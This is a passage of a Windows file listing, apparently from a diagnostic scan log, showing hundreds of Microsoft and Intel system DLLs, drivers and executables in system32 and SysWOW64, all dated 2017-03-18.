2017-03-18 22:58 - 2017-03-18 22:58 - 00227328 _____ (Microsoft Corporation) C:\windows\SysWOW64\provthrd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00227328 _____ (Microsoft Corporation) C:\windows\SysWOW64\InkEd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00226816 _____ (Microsoft Corporation) C:\windows\SysWOW64\cfgmgr32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00226816 _____ (Microsoft Corporation) C:\windows\system32\NetworkDesktopSettings.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00226816 _____ (Microsoft Corporation) C:\windows\system32\DAFIoT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00225792 _____ (Microsoft Corporation) C:\windows\SysWOW64\netdiagfx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00225792 _____ (Microsoft Corporation) C:\windows\system32\IPPMon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00225280 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbcint.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00225280 _____ (Microsoft Corporation) C:\windows\SysWOW64\C_G18030.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00224768 _____ (Microsoft Corporation) C:\windows\SysWOW64\prnntfy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00224768 _____ (Microsoft Corporation) C:\windows\system32\schtasks.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00224768 _____ (Microsoft Corporation) C:\windows\system32\dskquoui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00224672 _____ (Microsoft Corporation) C:\windows\SysWOW64\Dism.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00223744 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.CredDialogController.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00223744 _____ (Microsoft Corporation) C:\windows\SysWOW64\shdocvw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00222208 _____ (Microsoft Corporation) C:\windows\system32\scrobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00221696 _____ (Microsoft Corporation) C:\windows\SysWOW64\wisp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00221696 _____ (Microsoft Corporation) C:\windows\SysWOW64\mstask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00221696 _____ (Microsoft Corporation) C:\windows\SysWOW64\activeds.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00221184 _____ (Microsoft Corporation) C:\windows\SysWOW64\scksp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00221184 _____ (Microsoft Corporation) C:\windows\system32\TetheringMgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00220672 _____ (Microsoft Corporation) C:\windows\SysWOW64\bthprops.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00220672 _____ (Microsoft Corporation) C:\windows\system32\WpcTok.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00220600 _____ (Microsoft Corporation) C:\windows\SysWOW64\HdcpHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00220568 _____ (Microsoft Corporation) C:\windows\system32\ntasn1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00220160 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.HostName.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00220064 _____ (Microsoft Corporation) C:\windows\SysWOW64\offlinesam.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219648 _____ (Microsoft Corporation) C:\windows\system32\TtlsCfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219136 _____ (Microsoft Corporation) C:\windows\SysWOW64\FSClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219136 _____ (Microsoft Corporation) C:\windows\SysWOW64\accountaccessor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219136 _____ (Microsoft Corporation) C:\windows\system32\wuceffects.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219136 _____ (Microsoft Corporation) C:\windows\system32\ErrorDetails.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00219040 _____ (Microsoft Corporation) C:\windows\system32\ActionQueue.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00218624 _____ (Microsoft Corporation) C:\windows\SysWOW64\ExSMime.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00218624 _____ (Microsoft Corporation) C:\windows\system32\powercfg.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00218112 _____ (Microsoft Corporation) C:\windows\SysWOW64\WwaApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00218112 _____ (Microsoft Corporation) C:\windows\SysWOW64\adsldpc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00218112 _____ (Microsoft Corporation) C:\windows\system32\msctfp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00217600 _____ (Microsoft Corporation) C:\windows\SysWOW64\qcap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00217088 _____ (Microsoft Corporation) C:\windows\system32\tcpmon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00217088 _____ (Microsoft Corporation) C:\windows\system32\Drivers\winnat.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00217088 _____ (Microsoft Corporation) C:\windows\system32\cleanmgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00216064 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsicpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00216064 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmdskmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00216064 _____ (Microsoft Corporation) C:\windows\system32\Microsoft.Bluetooth.Profiles.Gatt.Interface.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00216064 _____ (Microsoft Corporation) C:\windows\system32\DevicePairingFolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00215552 _____ (Microsoft Corporation) C:\windows\SysWOW64\mpg2splt.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00215040 _____ (Microsoft Corporation) C:\windows\system32\wdigest.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00215040 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-kernel-power-events.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00214528 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ipnat.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00213920 _____ (Microsoft Corporation) C:\windows\system32\Windows.Management.Workplace.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00213504 _____ (Microsoft Corporation) C:\windows\SysWOW64\offfilt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00213504 _____ (Microsoft Corporation) C:\windows\SysWOW64\netplwiz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00213504 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSNP.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00212888 _____ (Microsoft Corporation) C:\windows\SysWOW64\SndVol.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00212480 _____ (Microsoft Corporation) C:\windows\system32\msls31.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00211968 _____ (Microsoft Corporation) C:\windows\SysWOW64\apds.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00211938 _____ C:\windows\SysWOW64\lcphrase.tbl
2017-03-18 22:58 - 2017-03-18 22:58 - 00211938 _____ C:\windows\system32\lcphrase.tbl
2017-03-18 22:58 - 2017-03-18 22:58 - 00211832 _____ (Microsoft Corporation) C:\windows\system32\xmllite.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00210944 _____ (Microsoft Corporation) C:\windows\SysWOW64\xwtpdui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00210944 _____ (Microsoft Corporation) C:\windows\SysWOW64\HNetCfgClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00210944 _____ (Microsoft Corporation) C:\windows\system32\shutdownux.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00210432 _____ (Microsoft Corporation) C:\windows\system32\tetheringservice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00209920 _____ (Microsoft Corporation) C:\windows\SysWOW64\wdmaud.drv
2017-03-18 22:58 - 2017-03-18 22:58 - 00209920 _____ (Microsoft Corporation) C:\windows\SysWOW64\GameBarPresenceWriter.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00209920 _____ (Microsoft Corporation) C:\windows\SysWOW64\cleanmgr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00209408 _____ (Microsoft Corporation) C:\windows\SysWOW64\cemapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00208896 _____ (Microsoft Corporation) C:\windows\SysWOW64\scecli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00208896 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.UI.Logon.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00208384 _____ (Microsoft Corporation) C:\windows\system32\psmsrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00208384 _____ (Microsoft Corporation) C:\windows\system32\Microsoft-Windows-AppModelExecEvents.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00208248 _____ (Microsoft Corporation) C:\windows\system32\SystemSettingsBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00207872 _____ (Microsoft Corporation) C:\windows\SysWOW64\onex.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00207872 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Profile.HardwareId.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00207872 _____ (Microsoft Corporation) C:\windows\system32\srumsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00207360 _____ (Microsoft Corporation) C:\windows\SysWOW64\powercfg.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00206336 _____ (Microsoft Corporation) C:\windows\SysWOW64\scrobj.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00206336 _____ (Microsoft Corporation) C:\windows\system32\remotepg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00205824 _____ (Microsoft Corporation) C:\windows\system32\smbwmiv2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00205312 _____ (Microsoft Corporation) C:\windows\SysWOW64\adsldp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00205312 _____ (Microsoft Corporation) C:\windows\system32\SearchFilterHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00205312 _____ (Microsoft Corporation) C:\windows\system32\ClipboardServer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204800 _____ (Microsoft Corporation) C:\windows\system32\XpsRasterService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204800 _____ (Microsoft Corporation) C:\windows\system32\wmitomi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204288 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmime.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204288 _____ (Microsoft Corporation) C:\windows\system32\provisioningcsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204288 _____ (Microsoft Corporation) C:\windows\system32\PersonaX.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00204105 _____ C:\windows\SysWOW64\winrm.vbs
2017-03-18 22:58 - 2017-03-18 22:58 - 00204105 _____ C:\windows\system32\winrm.vbs
2017-03-18 22:58 - 2017-03-18 22:58 - 00203600 _____ (Microsoft Corporation) C:\windows\system32\rsaenh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00203528 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSWB7.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00203264 _____ (Microsoft Corporation) C:\windows\SysWOW64\remotepg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00203264 _____ (Microsoft Corporation) C:\windows\SysWOW64\container.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00203160 _____ (Microsoft Corporation) C:\windows\system32\CloudExperienceHostBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00202752 _____ (Microsoft Corporation) C:\windows\system32\fms.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00202656 _____ (Microsoft Corporation) C:\windows\system32\DataExchangeHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00202240 _____ (Microsoft Corporation) C:\windows\SysWOW64\DevicePairingFolder.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00201632 _____ (Microsoft Corporation) C:\windows\SysWOW64\ifsutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00201216 _____ (Microsoft Corporation) C:\windows\SysWOW64\vaultcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00201216 _____ (Microsoft Corporation) C:\windows\SysWOW64\oemlicense.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00201216 _____ (Microsoft Corporation) C:\windows\SysWOW64\GlobCollationHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00201216 _____ (Microsoft Corporation) C:\windows\SysWOW64\credprovhost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00200192 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.HumanInterfaceDevice.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00200192 _____ (Microsoft Corporation) C:\windows\system32\MicrosoftAccountTokenProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00200192 _____ (Intel Corporation.) C:\windows\SysWOW64\ir50_qcoriginal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00199680 _____ (Windows (R) Win 7 DDK provider) C:\windows\system32\DscCoreConfProv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00199680 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Privacy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00199168 _____ (Microsoft Corporation) C:\windows\SysWOW64\icsigd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00199168 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Scanners.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00198656 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Security.Authentication.Identity.Provider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00198656 _____ (Microsoft Corporation) C:\windows\SysWOW64\mlang.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00198656 _____ (Microsoft Corporation) C:\windows\system32\dpapisrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00198144 _____ (Microsoft Corporation) C:\windows\system32\puiapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00197632 _____ (Microsoft Corporation) C:\windows\SysWOW64\iassam.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00197632 _____ (Intel(R) Corporation) C:\windows\SysWOW64\ir32_32original.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00197632 _____ (Intel Corporation) C:\windows\SysWOW64\iac25_32.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00197120 _____ (Microsoft Corporation) C:\windows\system32\ACPBackgroundManagerPolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196608 _____ (Microsoft Corporation) C:\windows\SysWOW64\WebClnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196608 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfksproxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196608 _____ (Microsoft Corporation) C:\windows\SysWOW64\framedyn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196096 _____ (Microsoft Corporation) C:\windows\SysWOW64\eappcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196096 _____ (Microsoft Corporation) C:\windows\system32\UserDeviceRegistration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00196096 _____ (Microsoft Corporation) C:\windows\system32\AppXApplicabilityBlob.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00195776 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00195584 _____ (Microsoft Corporation) C:\windows\system32\Windows.Energy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00195072 _____ (Microsoft Corporation) C:\windows\SysWOW64\gpresult.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00194560 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Gaming.Preview.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00194560 _____ (Microsoft Corporation) C:\windows\SysWOW64\msoeacct.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00194048 _____ (Microsoft Corporation) C:\windows\SysWOW64\tapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00194048 _____ (Microsoft Corporation) C:\windows\system32\mdmregistration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00193536 _____ (Microsoft Corporation) C:\windows\system32\WpcApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00193536 _____ (Microsoft Corporation) C:\windows\system32\CourtesyEngine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00193024 _____ (Microsoft Corporation) C:\windows\SysWOW64\pku2u.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00192408 _____ (Microsoft Corporation) C:\windows\SysWOW64\aepic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00192000 _____ (Microsoft Corporation) C:\windows\system32\nlhtml.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00192000 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ndiswan.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00190976 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.WiFi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00190976 _____ (Microsoft Corporation) C:\windows\system32\scrrun.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00190464 _____ (Microsoft Corporation) C:\windows\SysWOW64\dskquoui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00190464 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00190464 _____ (Microsoft Corporation) C:\windows\system32\SettingMonitor.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00189560 _____ (Microsoft Corporation) C:\windows\SysWOW64\weretw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00189440 _____ (Microsoft Corporation) C:\windows\system32\BluetoothApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188928 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinSyncMetastore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188928 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasrad.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188928 _____ (Microsoft Corporation) C:\windows\system32\wincredui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188928 _____ (Microsoft Corporation) C:\windows\system32\charmap.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00188768 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlunirl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188608 _____ (Microsoft Corporation) C:\windows\system32\ntmarta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188568 _____ (Microsoft Corporation) C:\windows\SysWOW64\xmllite.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188416 _____ (Microsoft Corporation) C:\windows\SysWOW64\OneCoreCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188416 _____ (Microsoft Corporation) C:\windows\system32\WinRtTracing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00188416 _____ (Microsoft Corporation) C:\windows\system32\MicrosoftAccountWAMExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187904 _____ (Microsoft Corporation) C:\windows\SysWOW64\CortanaMapiHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187904 _____ (Microsoft Corporation) C:\windows\system32\sti_ci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187904 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_QuickActions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187544 _____ (Microsoft Corporation) C:\windows\SysWOW64\IPHLPAPI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00187392 _____ (Microsoft Corporation) C:\windows\SysWOW64\msls31.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187392 _____ (Microsoft Corporation) C:\windows\system32\XamlTileRender.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00187392 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Radios.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00186880 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidcredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00186880 _____ (Microsoft Corporation) C:\windows\SysWOW64\wdigest.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00186520 _____ (Microsoft Corporation) C:\windows\SysWOW64\logoncli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00186368 _____ (Microsoft Corporation) C:\windows\system32\enrollmentapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185856 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlandlg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185856 _____ (Microsoft Corp.) C:\windows\system32\Defrag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00185536 _____ (Microsoft Corporation) C:\windows\system32\CloudStorageWizard.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\SysWOW64\sdiageng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhoneCallHistoryApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\SysWOW64\moricons.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\SysWOW64\miutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsdmo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00185344 _____ (Microsoft Corporation) C:\windows\system32\moricons.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00184832 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Profile.HardwareId.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00184832 _____ (Microsoft Corporation) C:\windows\system32\VCardParser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00184832 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Geolocation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00184736 _____ (Microsoft Corporation) C:\windows\system32\Drivers\appid.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00184320 _____ (Microsoft Corporation) C:\windows\SysWOW64\SearchFilterHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00184320 _____ (Microsoft Corporation) C:\windows\SysWOW64\MicrosoftAccountExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00184320 _____ (Microsoft Corporation) C:\windows\system32\DWWIN.EXE
2017-03-18 22:58 - 2017-03-18 22:58 - 00183808 _____ (Microsoft Corporation) C:\windows\system32\LanguageComponentsInstaller.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00183808 _____ (Intel Corporation.) C:\windows\SysWOW64\ir50_qcxoriginal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00183448 _____ (Microsoft Corporation) C:\windows\SysWOW64\rsaenh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00183296 _____ (Microsoft Corporation) C:\windows\SysWOW64\schtasks.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00183296 _____ (Microsoft Corporation) C:\windows\system32\MdmDiagnostics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00182784 _____ (Microsoft Corporation) C:\windows\SysWOW64\miguiresource.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00182784 _____ (Microsoft Corporation) C:\windows\SysWOW64\LaunchTM.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00182784 _____ (Microsoft Corporation) C:\windows\system32\prncache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00182272 _____ (Microsoft Corporation) C:\windows\system32\PimIndexMaintenance.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00182272 _____ (Microsoft Corporation) C:\windows\system32\ngcrecovery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00181760 _____ (Microsoft Corporation) C:\windows\SysWOW64\authz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00181760 _____ (Microsoft Corporation) C:\windows\system32\DisplayManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00181248 _____ (Microsoft Corporation) C:\windows\SysWOW64\uireng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00181248 _____ (Microsoft Corporation) C:\windows\system32\dafupnp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00180736 _____ (Microsoft Corporation) C:\windows\SysWOW64\els.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00180224 _____ (Microsoft Corporation) C:\windows\SysWOW64\srumsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00180224 _____ (Microsoft Corporation) C:\windows\system32\EthernetMediaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00180224 _____ (Microsoft Corporation) C:\windows\system32\d3d10_1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00179616 _____ (Microsoft Corporation) C:\windows\system32\CloudExperienceHostUser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00179200 _____ (Microsoft Corporation) C:\windows\system32\slr100.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00179200 _____ (Microsoft Corporation) C:\windows\system32\Drivers\UcmTcpciCx.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00179200 _____ (Microsoft Corporation) C:\windows\system32\BitLockerCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00178688 _____ (Microsoft Corporation) C:\windows\system32\rgb9rast.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00178176 _____ (Microsoft Corporation) C:\windows\SysWOW64\tcpipcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00178176 _____ (Microsoft Corporation) C:\windows\SysWOW64\MTF.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00178176 _____ (Microsoft Corporation) C:\windows\system32\verifiergui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00177200 _____ (Microsoft Corporation) C:\windows\SysWOW64\ntasn1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00176640 _____ (Microsoft Corporation) C:\windows\system32\wersvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175808 _____ (Microsoft Corporation) C:\windows\system32\skci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175616 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Devices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175616 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_OneCore_BatterySaver.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175616 _____ (Microsoft Corporation) C:\windows\system32\prntvpt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175104 _____ (Microsoft Corporation) C:\windows\SysWOW64\fwpolicyiomgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175104 _____ (Microsoft Corporation) C:\windows\SysWOW64\dinput8.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00175104 _____ (Microsoft Corporation) C:\windows\system32\t2embed.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00174592 _____ (Microsoft Corporation) C:\windows\SysWOW64\bitsadmin.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00174592 _____ (Microsoft Corporation) C:\windows\system32\MCCSEngineShared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00174080 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserMgrProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173568 _____ (Microsoft Corporation) C:\windows\SysWOW64\ErrorDetails.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173568 _____ (Microsoft Corporation) C:\windows\SysWOW64\ClipboardServer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173568 _____ (Microsoft Corporation) C:\windows\system32\AppExtension.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173104 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfsensorgroup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173056 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlceoledb40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00173056 _____ (Microsoft Corporation) C:\windows\system32\Cortana.Persona.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00172544 _____ (Microsoft Corporation) C:\windows\SysWOW64\puiapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00172544 _____ (Microsoft Corporation) C:\windows\SysWOW64\charmap.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00172544 _____ (Microsoft Corporation) C:\windows\system32\DAFIPP.dll
